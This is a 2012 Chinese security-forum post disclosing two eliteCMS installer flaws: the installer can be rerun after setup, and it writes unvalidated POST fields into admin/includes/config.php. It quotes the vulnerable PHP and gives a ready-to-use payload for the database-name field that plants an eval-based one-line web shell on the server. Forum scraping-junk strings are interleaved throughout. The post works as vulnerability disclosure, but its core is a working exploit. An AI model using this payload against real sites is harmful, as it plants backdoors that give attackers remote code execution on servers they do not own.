找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2302|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
$ W' j; |' E! F% |+ A# p8 k& K
8 ^4 O3 Y0 O7 T: G4 z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php% M2 j. x0 Q. _/ q' _, E0 b
我们来看代码:
/ \" f# o0 J( D  y
  ]" M3 d; w$ Y/ k, f...
; a$ L0 m. \5 ?$ ]0 o* felseif ($_GET['step'] == "4") {
- r- J0 o: c5 A% g* h, e    $file = "../admin/includes/config.php";% @: v: E/ W7 U; q% M- }: r
    $write = "<?php\n";
% R7 Y; }6 y, w! E) V    $write .= "/**\n";! d: Q; q- o* G8 B3 K
    $write .= "*\n";8 \, T! y' s; _$ Q" Q: m, |5 z
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";4 s) U3 d% h( `7 d
...略...% t5 I6 V; z+ J9 Z' X( f  Z
    $write .= "*\n";! v/ t( _/ n, E9 _+ Y& [
    $write .= "*/\n";
- F$ _3 o1 z# \1 @    $write .= "\n";
; A; k' u" _/ `' H6 c2 P- @+ n    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";2 ~! R) q5 b- K
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";' N% o# K4 Q6 Q# _
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; v* S0 r8 O, |# h) B/ L, H6 j    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- r3 m3 ~) D- c7 r* D7 D& u    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# A% r! i* A. k( @" R1 N% \' M    $write .= "if (!\$connection) {\n";
- L: ?4 r; Q+ x" U( X7 ~0 r    $write .= "        die(\"Database connection failed\" .mysql_error());\n";$ r" P' _  r2 b0 q/ B1 R
    $write .= "        \n";
6 b% F: h% s8 P2 e0 S$ w    $write .= "} \n";; h0 B5 y; g  l  F# g3 ]
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";6 t4 ^- @1 n. f
    $write .= "if (!\$db_select) {\n";
" ~+ g) Y  g2 _- c' V0 s4 c4 x    $write .= "        die(\"Database select failed\" .mysql_error());\n";/ U, q& e- h# c, p% G
    $write .= "        \n";: k* F! N( o6 ]; O' s; u8 e! u  a
    $write .= "} \n";
' g3 c- y* v# E# e9 E: U    $write .= "?>\n";
9 z. C8 q1 v. E5 Y* t7 Y/ c7 f4 C
$ I/ E1 Z3 g7 @( N  b: u7 y    $writer = fopen($file, 'w');3 O( h% f: a! T
...
" @; F5 J9 D+ }
1 U* `, W6 J6 ?7 Z: c7 L+ D6 q& n在看代码:& j- z5 V! }+ {4 M' Q
; b. [) o: z) Z, z
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];: |3 O  S9 |! Q9 r
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];7 a0 h3 |" h5 g5 Q7 h" \4 c( }
$_SESSION['DB_USER'] = $_POST['DB_USER'];
% @# N; C2 Y" U; M+ i* M1 j$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
2 A: k- \/ L' O8 z& v4 J
+ y$ `5 h# f; m$ x- d! {* A取值未作任何验证
* K, C& H2 b; r! f, t如果将数据库名POST数据:
; K9 V* B# x: @3 l* C
- |5 K6 \' q5 \6 h"?><?php eval($_POST[c]);?><?php  B! I9 T6 w& e7 w

9 t6 X; N. K+ D/ Y' `" O' ?0 W将导致一句话后门写入/admin/includes/config.php
! D$ q, @7 I7 V$ h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表